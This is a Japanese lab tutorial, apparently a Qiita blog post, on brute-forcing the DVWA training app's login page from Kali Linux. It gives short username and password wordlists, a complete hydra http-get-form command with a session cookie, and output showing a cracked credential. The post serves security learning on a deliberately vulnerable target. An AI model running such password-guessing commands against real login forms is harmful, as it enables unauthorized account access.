前提

kali linux環境がある
DVWAのセットアップ済み（https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c ）

目標

csrfでpassword奪取

手順概要

挙動の確認
brute-forceアタック
password盗む。

内容

brute-forceとは

総当たり攻撃
ログインリクエストを機械的に送り込む。
文字を1つづつ変更し攻撃すれば、絶対にログイン情報が一致する時がくるのだが、時間がかかるので脆弱性のあるログイン情報をまとめたデータを用いてサクッと攻撃されたりもする

前準備

DVWAにログインする
- 以下コードをkali上で実行しDVWAを立ち上げる。
- http://localhost/DVWA-master/index.php
- admin/passwordでログイン
セキュリティレベルを下げる。
- メニュー下にあるDVWA securityへアクセス
- デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する

# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start

brute-forceにアクセスする（左メニューにある）

brute-force開始

挙動を確認する
- 適当にログイン情報を入力してみる。（結果は以下画像）

root@kali:~# cat pass.lst 
usr
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
admin

root@kali:~# cat user.lst 
root
sys
msfadmin
admin
user
service
postgres
tomcat

# hydra {domain}　-L {user list file}　-P {password list file} http-get-form {Path}:{query}:{fail message}:H={cookie}
# option は小文字にすると文字列指定。大文字だとファイル指定になる
root@kali:~# hydra 10.0.0.2 -L user.lst -P pass.lst http-get-form "/DVWA-master/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie:security=low; PHPSESSID=ar960cueqgt0o4r6k0b4jta30r"
Hydra............
[80][http-get-form] host: 10.0.0.2   login: admin   password: admin
...........finished

最後に
- そもそもログイン情報をクエリに乗せていたら、リクエストを監視さえできれば取れてしまうのではと思った。

おわり